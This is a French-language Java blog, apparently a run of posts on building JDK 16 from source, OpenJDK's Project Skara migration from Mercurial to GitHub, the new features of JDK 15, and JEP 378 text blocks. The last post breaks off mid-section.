Compiling 13 properties into resource bundles for jdk.javadoc
Compiling 127 files for BUILD_java.compiler.interim
...
Creating jdk image
Creating CDS archive for jdk image
Creating CDS-NOCOOPS archive for jdk image
Updating images/sec-bin.zip
Stopping sjavac server
Finished building target 'images' in configuration 'linux-x86_64-server-release'

6. Vérification et utilisation

Ca y est, nous avons notre propre JDK. Il est disponible dans le répertoire build/linux-x86_64-server-release/images/jdk

root@buster:/opt/sources/jdk16/build/linux-x86_64-server-release/images/jdk# ls -al
total 44
drwxr-xr-x 10 root root 4096 Jan 10 12:42 .
drwxr-xr-x  6 root root 4096 Jan 10 12:42 ..
drwxr-xr-x  2 root root 4096 Jan 10 12:42 bin
drwxr-xr-x  5 root root 4096 Jan 10 12:42 conf
drwxr-xr-x  4 root root 4096 Jan 10 12:42 demo
drwxr-xr-x  3 root root 4096 Jan 10 12:42 include
drwxr-xr-x  2 root root 4096 Jan 10 12:42 jmods
drwxr-xr-x 72 root root 4096 Jan 10 12:42 legal
drwxr-xr-x  5 root root 4096 Jan 10 12:42 lib
drwxr-xr-x  3 root root 4096 Jan 10 12:42 man
-rw-r--r--  1 root root 1188 Jan 10 12:42 release

Il ne manque plus qu’à l’utiliser. Pour cela, nous allons démarrer la JVM avec l’option -version

bin/java -version
openjdk version "16-internal" 2021-03-16
OpenJDK Runtime Environment (build 16-internal+0-adhoc.root.jdk16)
OpenJDK 64-Bit Server VM (build 16-internal+0-adhoc.root.jdk16, mixed mode, sharing)

Pour réellement tester le nouveau JDK, vous pouvez exécuter la commande make run-test-tier1

7. Bonus

Nous avons utilisé la cible images en utilisant la commande :

make images

En réalité, il existe toute une série de cible de l’outil make. Celle-que j’aime bien, c’est la cible bootcycle-images

make bootcycles-images

Cela permet de construire les images deux fois, dont la seconde fois est réalisée avec le JDK construit lors de la première passe.

Références

Projet Skara, C’est quoi donc ?

dim., 3 janv. 2021 00:00:00 +0100

Table of Contents

Contexte
Historique
Passage de Mercurial à Git (Objectifs)
Passage de Mercurial à Git (Motivations)
Migration sous Github
Conclusion
Références

Contexte

Plusieurs projets sont en cours au niveau d' OpenJDK. L’objectif d’un projet est de fournir un travail collectif pour produire un artefact spécifique. Celui peut être du code, de la documentation, ou n’importe quel matériel. Commençons par le projet Skara.

Figure 1. Logo du projet Skara

En effet ce dernier est sous les feux des projecteurs avec deux JEP dans le JDK 16.

Via ces deux JEP, nous pouvons voir que le projet a procédé par étape : choix vers un nouveau gestionnaire (si besoin), puis d’un hébergeur.

Historique

Le projet a été créé en septembre 2018 (Welcome to skara-dev)

L’objectif du projet est d’étudier les alternatives à Mercurial pour le gestionnaire de sources et les différents fournisseurs. Ce qui intéressant dans la démarche, c’est qu’il dissocie le choix de gestionnaire de sources et le choix de l’hébergeur. Le choix de Mercurial avait été fait par Sun Microsystems en 2006.

Il faut noter qu’il y a eu la JEP 296 inclus dans le JDK 10 (Mars 2018) sur la consolidation des dépôts en un seul. En effet, le code du JDK était réparti sur différents dépôts : racine, corba, hotspot, jaxp, jaxws, jdk, langtools et nashorn.

Figure 2. Dépôt mercurial du JDK 8

L’objectif de ce regroupement est de simplifier le travail des développeurs. En effet, un correctif impliquait très souvent plusieurs dépôts. Les développeurs devaient réaliser plusieurs 'commit' sur différents dépôts. Cela compliquait leur travail et pouvait être une source d’erreurs.

Il est à noter que Nashorn introduit dans le JDK 8 n’est plus fourni dans le JDK depuis la version 15, mais il reste en tant que projet autonome (dépôt du projet).

Passage de Mercurial à Git (Objectifs)

Migration de tous les référentiels OpenJDK

Cela consiste à migrer tous les référentiels mono-repo vers Git. Cela signifie que les dépôts à partir du JDK 10 sont disponibles sous GIT (cf la section Historique).

Nous retrouvons l’intérêt du travail préparatoire consistant à fusionner plusieurs dépôts en un seul (JEP 296).

Préserver l’historique

Au delà, de déposer l’ensemble des sources sur le nouveau gestionnaire de sources, la préoccupation de l’équipe a été de préserver l’historique. Dans ce sens, un outil de traduction de hash Mercurial vers un hash Git a été développé (cf. section suivante).

Porter les outils

C’est aussi les modifications des outils utilisés par le projet afin qu’ils fonctionnent avec git.

git-jcheck : Outil jcheck pour être compatible avec GIT
git-webrev : Outil webrev pour être compatible avec GIT
git-defpath : Outil defpath pour être compatible avec GIT
git-skara : Informations sur les outils Skara CLI
git-info : Montrer les informations OpenJDK au sujet des commits : lien avec les fiches JBS, les auteurs, les contributeurs.

C’est aussi des nouveaux outils, avec par exemple des outils pour échanger avec un fournisseur externe

git-fork : "Forker" un projet d’un fournisseur externe vers un espace personnel, et le cloner optionnellement.
git-sync : Synchroniser le "fork" personnel avec l’état courant du dépôt d’origine.
git-pr : Interagir avec les "pull requests" avec un fournisseur externe GIT.
git-token : Interagir avec le gestionnaire pour obtenir un token d’accès.
git-translate : Traduire un hash Mercurial en Hash GIT (cf. section précédente).
git-trees : Exécuter une commande GIT dans une arborescence de dépôts.
git-publish : Publier une branche locale vers un dépôt distant.

L’équipe a rendu disponible les différents outils de Skara sous licence GPL 2.0. Ils sont accessibles à l’adresse sur le dépôt GIT du projet. Cela permet d’y contribuer, de l’utiliser ou de s’en inspirer pour ces propres projets.

Parmi les outils, il existe aussi des outils coté serveur. Voici quelques exemples :

mlbridge : Pont entre les messages de liste de diffusion et les "pull requests".
notify : Envoyer des mails de notifications quand les dépôts sont mis à jours.
pr : Ajouter le support du workflow OpenJDK pour les "pull requests".
forward : Faire suivre les commits sur plusieurs dépôts.
mirror : Faire un dépôt miroir
merge : Fusionner des commits entre différents dépôts et/ou branches.

Passage de Mercurial à Git (Motivations)

Taille des méta-données

Les méta-données sont de plus en plus volumineux (1.2 Go sous Mercurial, 300 Mo sous Git seulement lors des tests). Cela devenait de plus en plus contraignant pour les développeurs, notamment sur les phases de synchronisation.

Outils

De nombreux outils supportent GIT comme les éditeurs Emacs, Vim ou VSCode qui le supporte nativement. De même, l’ensemble des IDE (Eclipse, Netbeans et Intellij) le prennent en charge. Là encore, si je prends Eclipse IDE, le support de GIT est disponible tout de suite après l’installation, sans la nécessité d’un plugin supplémentaire.

Hébergement

Il existe plusieurs solutions d’hébergement comme Gitlab, Sourceforge et Github.

Communauté

Mercurial est aussi considéré comme un frein à la contribution. Au dela des aspects techniques, ce gestionnaire de sources est peu répandu. Donc, les nouveaux contributeurs doivent passer par une étape supplémentaire en apprenant l’usage de l’outil.

Migration sous Github

Comme vu précédemment, une des forces de GIT est d’avoir plusieurs fournisseurs.

Le fournisseur retenu

Le projet Skara a donc évalué les différentes solutions d’hébergement. C’est Github qui a été retenu. La grande communauté d’utilisateurs et le partenariat entre Oracle et Microsoft (propriétaire de Github) ont notamment joué en faveur de cette décision.

Il est important de noter que le choix du fournisseur n’implique pas d’adhérence. Nous pouvons voir que :

L’équipe Skara s’est assuré du bon fonctionnement avec Gitlab par exemple
Le gestionnaire de ticket reste Java Bug System (JBS)
Les liens sont neutres (sans usage de github.com). Par exemple, l’url officiel est https://git.openjdk.java.net/jdk. Elle redirige vers https://github.com/openjdk/jdk. Ce type d’url est utilisé dans le workflow du projet, Ci-dessous un exemple de mail suite à un "commit".

Figure 3. Exemple de mail suite à un commit

En cliquant sur le lien https://git.openjdk.java.net/jdk/commit/db5da961, nous arrivons finalement sur la page de commit de github.

De même, une url neutre est utilisée pour réaliser la revue de code d’une "pull request". Cette dernière redirige vers la page correspondante à la "pull request".

Les outils cités plus haut permettent d’interagir avec le fournisseur externe, github en l’occurrence.

Etapes préparatoires

Certains projets sont passés sous github en avance de phase. Cela a permit de tester en condition réelle les outils et les workflow mis en oeuvre. Ainsi, le projet a bénéficié de retour d’expérience et des ajustements ont pu être réalisés. Par exemple, le projet Loom a été l’un des premiers projets en août 2019

La bascule

La migration a été effectuée du 04 au 05 septembre 2020. Voici un résumé avant et après les opérations :

Avant la migration du 04 septembre,

— Mercurial : Lecture / Ecriture

— Github : Lecture seule

Après la fin des opérations le 5 septembre

— Mercurial : Lecture seule

— Github : Lecture / Ecriture

Nous pouvons le voir clairement au niveau des dépôts. Il est bien indiqué que le dépôt jdk11u reste un dépôt miroir du dépôt Mercurial. En revanche le dépôt JDK n’est plus un miroir mais bel et bien le dépôt principal :

Figure 4. Dépôt disponible sur github

Depuis cette date, toutes les modifications passent par des "pull request" depuis github (via l’interface ou les outils). La première PR n’a pas tardé car elle a été réalisée dès le 6 septembre 2020 :

Figure 5. Première PR via github

Suite à la bascule, voici le lien vers la première "pull request" https://github.com/openjdk/jdk/pull/23.

Conclusion

Même si nous ne sommes pas contributeur d' OpenJDK, c’est intéressant de voir comment fonctionne l’équipe et tout le travail qui est réalisé.

Dans ce sens, la PR #1891 est intéressante car elle permet de voir le workflow et les outils mentionnés dans ce billet :

bot openjdk
mlbridge (outil coté serveur mentionné plus haut) pour la revue de code.
revue de code (hors github) : https://openjdk.github.io/cr/?repo=jdk&pr=1891&range=00
revue de code (depuis github) : https://github.com/openjdk/jdk/commit/334bdd2aecdc77324a090e0b5086a2ba071da48c

Cela permet aussi de mieux comprendre les étapes de la sortie d’un nouveau JDK. En effet, nous avons plusieurs paliers comme "Rampdown", "Release Candidate". Par exemple, l’agenda prévu pour le JDK 16 est le suivant :

Figure 6. Agenda du JDK 16

Nous pouvons lire qu’au niveau du "Rampdown Phase1", nous avons une précision "Fork from main line". Et c’est bien ce qui se passe, un "fork" du dépôt principal jdk est réalisé pour créer un nouveau dépôt spécifique jdk16.

Figure 7. Dépôt du JDK16

Nous pouvons espérer que le passage à Git et notamment à Github permettent d’avoir de nouveaux contributeurs. Pourquoi pas vous ?

Références

JDK 15 Nouveautés

ven., 27 nov. 2020 00:00:00 +0100

Contexte

La version 15 du JDK est disponible depuis le 15 septembre 2020. Maintenant, cela devient traditionnelle depuis le JDK 10 d’avoir deux versions par an (en mars et en septembre). A travers ce billet, nous aurons l’occasion de passer en revue l’ensemble des nouveautés.

Nous sommes à un an de la prochaine version LTS (Long Term Support) avec la sortie du JDK 17.

Nouvelles fonctionnalités

378 - Text Blocks

Les blocs de textes permettent d’écrire des chaînes de caractères sur plusieurs lignes de manière simple. La fonctionnalité a été introduite dans le JDK 13 en mode aperçu. Elle est maintenant disponible dans le langage sans option supplémentaire.

C’est à dire que l’ancien code suivant

String query = "SELECT \"EMP_ID\", \"LAST_NAME\" FROM \"EMPLOYEE_TB\"\n"+
               "WHERE \"CITY\" = 'INDIANAPOLIS'\n" +
               "ORDER BY \"EMP_ID\", \"LAST_NAME\";\n";

devient

String query = """
               SELECT "EMP_ID", "LAST_NAME" FROM "EMPLOYEE_TB"
               WHERE "CITY" = 'INDIANAPOLIS'
               ORDER BY "EMP_ID", "LAST_NAME";
               """;

Pour plus de détail, je vous suggère mon article dédié sur blocs de texte

371 - Hidden Classes

Cette fonctionnalité a été proposée par le projet Valhalla. Le but du projet est d’explorer les possibilités et les évolutions au niveau du langage et de la JVM.

A mon avis, sauf si vous travaillez sur des frameworks, vous aurez peu l’occasion d’utiliser cette fonctionnalité.

En effet, les classes cachées sont des classes créées dynamiquement à l’exécution. Voici deux exemples classiques :

génération des classes "proxy" afin qu’un framework puisse faire des traitements avant et après l’appel de notre méthode
exécution de code qui ne soit pas du java. Par exemple, un moteur javascript peut générer une classe cachée ayant le code binaire correspondant au traitement souhaité.

Le terme "Classes cachées" est utilisé car les classes ainsi générées ne sont pas visibles par le chargeur de classes (ClassLoader). Cela permet aussi d’avoir un cycle de vie différent non lié à un chargeur de classes.

Dans le volet de sécurisation de la JVM, l’objectif est aussi de limiter, voire supprimer l’usage des API interne et notamment des API de la classe sun.misc.Unsafe. (Cela a été largement abordé lors de la sortie du JDK 9 en faisant couler beaucoup d’encre).

En l’occurrence, le mécanisme des classes cachées permet de déprécier la méthode sun.misc.Unsafe::defineAnonymousClass

373 - Reimplement the Legacy DatagramSocket API

C’est le tour de l’API DatagramSocket d’être réimplémenté dans ce JDK.

Les API concernées sont :

java.net.DatagramSocket
java.net.MulticastSocket

L’objectif est le même que la précédente JEP (JEP 353 - Reimplement the Legacy Socket API) concernant l’API Socket qui a été livrée dans JDK 13.

Le code précédent provient du JDK 1.0. C’est à dire un mélange de vieux codes Java et C. De plus, l’implémentation du MulticastSocket était particulière car IPv6 étaient en développement à l’époque. Tout cela amène à avoir du code complexe et difficile à maintenir.

Le but est d’avoir un nouveau développement moderne, plus facile à maintenir. De plus, c’est aussi l’occasion d’avoir une implémentation compatible avec les threads virtuelles du Projet Loom

Ainsi, le projet Loom pourra arriver plus rapidement dans un prochain JDK.

339 - Edwards-Curve Digital Signature Algorithm (EdDSA)

L’objectif est d’implémenter des signatures cryptographiques à l’aide de l’algorithme de signature numérique Edwards-Curve (EdDSA). La définition est faite dans la RFC 8032

Ce schéma de signature est optionnel dans TLS 1.3 mais quelques utilisateurs ont des certificats EdDSA. L’intérêt est donc que la JVM supporte ce type de certificat.

L’implémentation est faite en Java, sans usage de code natif (à l’inverse de l’implémentation ECDSA). Cela permet de ne pas avoir d’adhérence avec une librairie tierce.

Nouvelles fonctionnalités (Coté ramasse-miette)

ZGC et Shenandoah passent du mode expérimental en mode production.

En revanche, cela ne change en rien le ramasse-miette par défaut. C’est toujours G1 pour le JDK 15.

377 - ZGC: A Scalable Low-Latency Garbage Collector

ZGC a été introduit dans le JDK 11 en mode expérimental. Au fur et à mesure des versions, des portages ont été réalisés ainsi que des corrections de bug. Les retours de la communauté sont positifs, ce qui a permit de le considérer comme stable pour la production

379 - Shenandoah: A Low-Pause-Time Garbage Collector

Ce ramasse-miette est peut-être plus connu car il a été introduit dans le JDK 8 et JDK 11 fourni par Red Hat. Son intégration au sein du projet OpenJDK a commencé dans le JDK 12.

Une caractéristique forte de ce ramasse-miette est son temps de pause qui reste identique quelque soit la taille du tas ("heap").

Fonctionnalités en mode Aperçu

Les trois premières fonctionnalités concernent la mise en place du "pattern matching". L’ajout de ces items provient du projet Amber.

Le principe et les directions ont été exposés par Gavin Bierman and Brian Goetz dans le billet suivant en septembre 2018 : Pattern Matching for Java (en).

375 - Pattern Matching for instanceof (Second Preview)

La première fonctionnalité de cette série consiste à supprimer un irritant de Java avec l’utilisation de instanceof.

Généralement, nous écrivons le code suivant :

if (obj instanceof String) {
    String s = (String) obj;
    // utilisation de s
}

Nous nous posons toujours la question, pourquoi convertir la variable obj en chaîne de caractère explicitement alors que nous avons vérifié au préalable que la variable obj est une instance d’une chaîne de caractère.

La proposition est d’écrire le code suivant :

if (obj instanceof String s) {
    // utilisation de s en tant que chaine de caractere
    ... s.contains(..);
} else {
    // pas possible d'utiliser la variable s
}

Dans le premier bloc (if), nous pouvons utiliser directement la variable s comme une chaîne de caractère. D’un autre côté, dans le second bloc (else), la variable s n’est pas connue.

Cela est aussi possible dans l’évaluation des conditions. Cela donne une écriture élégante :

if (obj instanceof String s && s.length() > 5) {.. s.contains(..) ..}

384 - Records (Second Preview)

C’est un second aperçu. C’est à dire que la fonctionnalité a été intégrée la première fois dans le JDK 14. Ils ont rédigé une nouvelle version en prenant en compte les différents retours.

Les objectifs de cette proposition sont :

Diminuer la complexité de l’orienté objet en ayant une structure simple pour aggréger les données
Faciliter le développement en proposant des structures immuables

Par exemple, nous avons un objet Point ayant deux attributs : x et y. Nous pensons au début à une classe simple ayant la définition suivante :

public class Point {

	int x;
	int y;

}

Sauf qu’il est nécessaire de protéger les attributs avec des accesseurs (et oui, pas de mutateur car la structure est immuable, pour rappel). Nous avons aussi les bonnes pratiques avec la redéfinition de la méthode hashcode(), equals().

Au final, nous écrivons ceci :

public class Point {

	private final int x;
	private final int y;

	public Point(int x, int y) {
		super();
		this.x = x;
		this.y = y;
	}

	public int getX() {
		return x;
	}
	public int getY() {
		return y;
	}
	@Override
	public int hashCode() {
		final int prime = 31;
		int result = 1;
		result = prime * result + x;
		result = prime * result + y;
		return result;
	}
	@Override
	public boolean equals(Object obj) {
		if (this == obj)
			return true;
		if (obj == null)
			return false;
		if (getClass() != obj.getClass())
			return false;
		Point other = (Point) obj;
		if (x != other.x)
			return false;
		if (y != other.y)
			return false;
		return true;
	}
	@Override
	public String toString() {
		return "Point [x=" + x + ", y=" + y + "]";
	}
}

Il est à noter que même lors de la création de la classe, si nous écrivons correctement le code pour les méthodes hashcode() et equals(), il y a un risque fort que les méthodes ne soient pas mises à jour si nous rajoutons un attribut.

Avec les records, nous écrivons simplement :

record Point(int x, int y) { }

Vous voyez l’introduction d’un nouveau mot clé : record.

De ce fait, nous avons automatiquement :

un accesseur public pour chaque attribut
un attribut final privé pour chaque attribut
un constructeur contenant chaque attribut
une méthode equals()
une méthode hashcode()
une méthode toString() pour visualiser les valeurs de chaque attribut.

Des contrôles peuvent être faites lors de la construction:

record Range(int lo, int hi) {
    Range {
        if (lo > hi)  // référence implicite aux paramètres du constructeur
            throw new IllegalArgumentException(String.format("(%d,%d)", lo, hi));
    }
}

Vous remarquerez qu’il n’a pas de paramètre, ni d’affectation au niveau du constructeur comme nous le ferions habituelle avec une classe Java. Cela n’est pas nécessaire car cela est automatique avec les records.

Comme précisé plus haut, les records sont immuables. Donc elles ne peuvent pas être utilisées pour représenter une entité JPA. En effet, par définition, les entités JPA sont mutables.

En revanche, elle peuvent très bien servir pour l’utilisation de DTO. Dans ce sens, les librairies commencent en prendre en compte, comme Jackson ci-dessous

360 - Sealed Classes (Preview)

Cette fonctionnalité provient aussi du projet Amber.

L’objectif est que l’auteur d’une classe ou d’une interface puisse contrôler qui peut en hériter ou l’implémenter. C’est à dire que l’auteur limite l’ensemble des classes dérivées possibles.

Par exemple, nous avons :

package com.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle, Carre {
	...
}

C’est à dire qu’il y a seulement trois formes possibles : Cercle, Rectangle et Carre.

Les classes dérivées peuvent être dans des packages différents comme dans l’exemple ci-dessous :

package com.exemple.geometrie;

public abstract sealed class Forme
    permits com.example.polar.Cercle,
            com.example.quad.Rectangle,
            com.example.quad.simple.Carre {
	...
}

Cela ne change rien au niveau du mot clé final indiquant que la classe ne peut pas avoir de classes dérivées.

Cela va aussi dans le sens des correspondance de modèle ("pattern matching") où nous pouvons avoir une analyse complète des modèles.

Sans correspondance de modèle, nous avons le code suivant (peu lisible) :

int getCentre(Forme forme) {
    if (forme instanceof Cercle) {
        return ... ((Cercle)forme).center() ...
    } else if (forme instanceof Rectangle) {
        return ... ((Rectangle)forme).length() ...
    } else if (forme instanceof Carre) {
        return ... ((Carre)forme).side() ...
    }
}

Grace à l’analyse complète du modèle ("pattern-matching"), nous pouvons écrire simplement le code suivant :

int getCentre(Forme forme) {
    return switch (forme) {
        case Cercle c    -> ... c.center() ...
        case Rectangle r -> ... r.length() ...
        case Carre t    -> ... t.side() ...
    };
}

383 - Foreign-Memory Access API (Second Incubator)

Le but est d’avoir une API sûr et efficace qui permette des accès mémoire au delà du tas ("heap").

Est-ce bien nécessaire ? Si le développeur classique Java n’a pas généralement ce type de besoin. C’est le cas de nombreux librairies comme Apache Ignite, mapDB, memcached, Apache Lucene et Netty par exemple.

Les points importants sont :

Généralité : Cette API devra concerner les différents types de mémoire (mémoire native, mémoire persistante, …)
Sûr : Elle devra maintenir la stabilité de la JVM
Déterministe : Les opérations de dé-allocation devront être explicite dans le code.
Conviviale : L’API devra être facile à appréhender.

C’est la deuxième proposition (Seconde incubation). La première a été introduite dans le JDK 14 (JEP370). Elle a été revue en prenant en compte les retours des utilisateurs de la première implémentation. Plusieurs changements ont été apportés que nous ne détaillerons pas dans ce billet.

En Java, écrire que la dé-allocation doit être explicite dans le code n’est pas habituel car nous sommes habitués au ramasse-miette, mais cela permet d’éviter le coût de ce dernier et son côté imprévu (On ne se sait pas quand il passe). Cela est très important lors de la gestion de cache très volumineux. De plus, cela permet de gérer des scénarios divers comme avec de la mémoire partagée.

A l’heure actuelle, il existe trois possibilités :

ByteBuffer API (introduit dans le JDK 1.4). Plusieurs limitations sont associés à cette API dont la limitation d’allouer plus de 2 Giga (utilisation du type int).
sun.misc.Unsafe API (Le nom est évoqueur). L’API permet l’accès directe à la mémoire. Cela est efficient mais il n’y a pas non plus de protection. Un mauvais usage peut provoquer un crash de la JVM.
JNI (Java Native Interface). L’accès est sûr mais le coût associé à cette solution est important. Cela nécessite des développeurs qui écrivent et maintiennent du code en langage C. De plus, les accès JNI sont lents car cela nécessite la transition java à c.

Le succès de cette nouvelle API sera lié à sa performance vis à vis des solutions existantes (notamment les 2 premières cités).

Divers

Au delà des fonctionnalités décrites dans les JEPs, il reste intéressant de lire les notes de versions. Cela permet de récupérer des changements moins notables. Par exemple, nous retrouvons l’ajout ou le retrait d’un certificat d’une autorité de certification dans le magasin de clé du JDK. Mais certaines sont encore plus intéressantes comme la suivante :

Helpful NullPointerException (JDK-8233014)

Dans un autre billet, je vous avais parlé de cette fonctionnalité introduite dans le JDK14. Une option a été aussi ajoutée pour activer ou non la fonction le -XX:{+|-}ShowCodeDetailsInExceptionMessages

Cependant, la fonctionnalité était désactivée par défaut. Il fallait obligatoirement utiliser l’option correspondante. Maintenant, ce n’est plus la peine pour en profiter, elle est activée par défaut.

Néanmoins, il reste possible de la désactiver si nous le souhaitons.

Exemple de message d’information :

Cannot read field "c" because "a.b" is null

Fonctionnalités supprimées et dépréciées

372 - Remove the Nashorn JavaScript Engine

Nashorn est un moteur javascript. Il a été introduit dans le JDK 8 en remplacement de l’ancien Rhino.

Nashorn veut dire Rhinocéros en allemand. Petit clin d’oeil de l’équipe envers Rhino (Implémentation de Mozilla).

C’est une implémentation complète de ECMAScript-262 5.1 standard. Pour le situer, cela correspond à une spécification de 2011.

Actuellement, nous sommes à la version 11, publiée en juin 2020. Le moteur de javascript était vraiment en retard sur les dernières versions.

A ce stade, le projet considère que le maitien est trop difficile vis à vis des évolutions du langages ECMAScript.

De plus, une piste est d’utiliser GraalVM qui permet d’exécuter du code javascript. Pour en savoir plus, je vous conseille cet article de l’équipe GraalVM (en)

Le moteur a été déprécié depuis JDK 11. Si votre programme l’utilise, vous devriez avoir le message ci-dessous :

Warning: Nashorn engine is planned to be removed from a future JDK release

Si ce n’est pas le cas, la suppression de Nashorn n’aura pas d’effet sur nos projets.

Il est à noter que durant la période du JDK 11, 12 et 13, aucun groupe de développeurs a exprimé clairement le désir de maintenir Nashorn.

Edition du 04/12

Depuis le 27 novembre, Nashorn 15.0 est disponible de manière autonome sur Maven Central. Voici le mail de l’annonce de la nouvelle équipe sur la liste de diffusion nashorn-dev (Merci à @piradix pour l’information)

381 - Remove the Solaris and SPARC Ports

Le but est de supprimer le support de Solaris pour le JDK (sources spécifiques Solaris / SPARC).

Cela est la conséquence des parts de marchés de ce système d’exploitation.

C’est la suite logique de la Dépréciation du support Solaris (JEP362) incluse dans le JDK 14. Le principe était de laisser le temps à un ensemble de développeurs crédibles de se manifester pour le maintien de ce portage.

Beaucoup de projet actif comme Vahalla ou Loom sont en cours de développement. Le fait de supprimer un portage sur ce système permet de faciliter le travail et de profiter plus tôt des améliorations de ces projets.

Pour information, Solaris est un système créé par Sun en 1991 qui est dans le giron d’Oracle depuis le rachat de Sun par ce dernier.

385 - Deprecate RMI Activation for Removal

Le but est de déprécier le mécanisme d’activation RMI afin de le supprimer plus tard.

Il est important de noter que RMI (Remote Method Invocation) reste supporté et ne change pas. C’est l’activation RMI qui est concerné (c’est à dire RMId). Cela consiste à la possibilité d’avoir des objets distribués actif plus tard, en mode paresseux ("lazy")

Cette JEP prend acte du contexte actuel où les services distribués sont basés actuellement sur des technologies web et non plus par des objets distribués. Ce changement permet de résoudre des problèmes liés aux réseaux (pare-feu, répartiteur de charge).

De ce fait cette fonctionnalité est devenue obsolète. Les multiples sondages ont montrés le peu d’intérêt sur cette fonctionnalité. Par exemple, la dernière question sur le forum JavaRanch date de 2003.

La maintenance du code associé entraîne forcément un coût à mettre en face de l’intérêt pour la communauté. De plus, des tests complexes existent (client, serveur, service d’activation) qui pénalisent l’exécution globale des tests.

Le service d’activation RMI est optionnel depuis Java 8.

374 - Disable and Deprecate Biased Locking

En Java, il existe des verrous pour protéger les accès concurrents :

Les moniteurs (gérés avec le mot clé synchronized)
java.util.concurrent.locks.Lock (seulement depuis JDK 1.5)

Le verrouillage biaisé est une optimisation de la JVM pour gérer les moniteurs afin d’éviter des sur-contrôles sur les blocs non contrôlés. Ainsi, le moniteur est supposé resté la propriété d’un thread donné jusqu’à ce qu’un thread différent tente de l’acquérir. De ce fait, les performances étaient meilleurs qu’un système classique de verrou.

Les gains de performance observés dans le passé sont moins significatif aujourd’hui. Il est à noter aussi que cela est particulièrement lié aux structures de l’époque (JDK 1.0). C’est à dire, cela concerne des anciennes structures comme Hashtable ou Vector où chaque accès est synchronisé.

En effet, actuellement, nous utilisons des collections non synchronisées HashMap et ArrayList (introduites dès le JDK 1.2) pour les scénarios mono-thread. Sinon, nous utilisons des structures concurrentes (introduites dans le JDK 5) pour les scénarios multi-threads.

De plus, les applications utilisant les pool de threads ont de meilleur performances sans cette optimisation.

Ce verrouillage biaisé s’accompagne aussi de beaucoup de code complexe dans le mécanisme de synchronisation. Cela fait un obstacle supplémentaire avec peu d’intérêt actuellement.

C’est pourquoi l’équipe OpenJDK souhaite désactiver, abandonner et éventuellement supprimer la prise en charge de ce type de verrouillage.

Il reste possible de réactiver ce comportement avec l’option -XX:+UseBiasedLocking.

JEP 378 Blocs de Textes (Text Blocks)

mar., 1 sept. 2020 00:00:00 +0200

Table of Contents

Contexte
Histoire
Mise en pratique
Références

Contexte

L’objectif est double :

Simplifier l’écriture d’un programme java ayant des chaines de caractères sur plusieurs lignes
Améliorer la lecture pour les langages non Java.

Pour illustrer le propos, voici un exemple de code Java avec la définition d’une variable sur plusieurs lignes :

String html = "<html>\n" +
              "    <body>\n" +
              "        <p>Hello, world</p>\n" +
              "    </body>\n" +
              "</html>\n";

Voici un second exemple avec le langage SQL :

String query = "SELECT \"EMP_ID\", \"LAST_NAME\" FROM \"EMPLOYEE_TB\"\n"+
               "WHERE \"CITY\" = 'INDIANAPOLIS'\n" +
               "ORDER BY \"EMP_ID\", \"LAST_NAME\";\n";

Histoire

Table 1. Chronologie
Date	JDK	Nom / JEP
Mars 2019	JDK 12	Raw Strings Literals (Preview) (JEP 326)
Sept. 2019	JDK 13	Text Blocks (Preview) (JEP 355)
Mars 2020	JDK 14	Text Blocks (Second Preview) (JEP 368)
Sept. 2020	JDK 15	Text Blocks (JEP 378)

Cette fonctionnalité illustre parfaitement l’intérêt du nouveau cycle de sortie du JDK (tous les 6 mois, en mars et en septembre) et les aperçus de fonctionnalités "Preview features" (JEP 12).

En effet, la première proposition était "Raw Strings Literals (Preview)" (JEP 326) ciblée initialement pour le JDK 12 (Mars 2019). Cependant, suite aux différents retours, la fonctionnalité a été retirée avant la finalisation de ce JDK.

Un sondage a permit de déterminer qu’il est préférable d’utiliser trois caractères guillemet ( " ) comme délimiteur et de prendre en compte les caractères d’échappement (comme \n par exemple).

De ce fait, cette fonctionnalité a été revue dans une nouvelle JEP "Text Blocks" (JEP 355) dans le JDK 13 (Sept 2019), toujours en mode "Preview"

Par la suite, dans le JDK 14, une seconde JEP "Second Preview" (JEP 368) a été définie afin de consolider la nouvelle approche et d’ajouter des nouvelles séquences d’échappement.

Enfin, les retours ont permit de savoir que la fonctionnalité était mature et qu’elle pouvait être permanente. C’est pourquoi la dernière JEP (JEP 378) a été incluse dans la version 15 du JDK sans changement (Hormis le retrait du mode "Preview")

Mise en pratique

Les bases

Le délimiteur choisi fut trois caractères guillemet ( """ ). Concrêtement, ci-dessous, un exemple d’utilisation :

"""
line 1
line 2
line 3
"""

Cela correspond à

"line 1\nline 2\nline 3\n"

ou son équivalent

"line 1\n" +
"line 2\n" +
"line 3\n"

Nous pouvons remarquer que les retours chariots sont pris en compte. De ce fait, le positionnement du caractère de fermeture n’est pas anodin. Par exemple, nous pouvons avoir le caractère de fermeture en fin de ligne, et non sur une nouvelle ligne.

"""
line 1
line 2
line 3"""

Par conséquent, il n’y a pas le dernier retour chariot. Donc, cela devient l’équivalent de

"line 1\nline 2\nline 3"

Cas simples

Ci-dessous l’exemple du code HTML

String html = "<html>\n" +
              "    <body>\n" +
              "        <p>Hello, world</p>\n" +
              "    </body>\n" +
              "</html>\n";

devient

String html = """
              <html>
                  <body>
                      <p>Hello, world</p>
                  </body>
              </html>
              """;

En reprenant l’exemple avec le langage SQL, nous avons :

String query = "SELECT \"EMP_ID\", \"LAST_NAME\" FROM \"EMPLOYEE_TB\"\n"+
               "WHERE \"CITY\" = 'INDIANAPOLIS'\n" +
               "ORDER BY \"EMP_ID\", \"LAST_NAME\";\n";

devient

String query = """
               SELECT "EMP_ID", "LAST_NAME" FROM "EMPLOYEE_TB"
               WHERE "CITY" = 'INDIANAPOLIS'
               ORDER BY "EMP_ID", "LAST_NAME";
               """;

Nous pouvons voir que cela permet clairement d’améliorer la lecture du code.

Espace blanc accidentel

Dans les exemples précédents, il est à noter que nous avons des espaces non significatifs au début de chaque ligne. Si nous matérialisons ces caractères avec le caractère point ( . ). Cela donne :

String html = """
..............<html>
..............    <body>
..............        <p>Hello, world</p>
..............    </body>
..............</html>
..............""";

En sachant que nous pouvons avoir aussi des caractères parasites en fin de lignes.

String html = """
..............<html>...
..............    <body>
..............        <p>Hello, world</p>....
..............    </body>.
..............</html>...
..............""";

L’équipe savait que cela allait amener de la duplication de code ou des librairies pour traiter ces espaces inutiles. Donc, ils ont préféré prendre en charge ce point en mettant en place un algorithme.

De ce fait, nous allons utiliser le caractère pipe ( | ) afin de mieux visualiser le résultat de ce traitement :

|<html>|
|    <body>|
|        <p>Hello, world</p>|
|    </body>|
|</html>|

L’algorithme de ré-indentation sera normatif dans la spécification du langage Java. Les développeurs y auront accès via la méthode String::stripIdent.

Emplacement de la fermeture est importante.

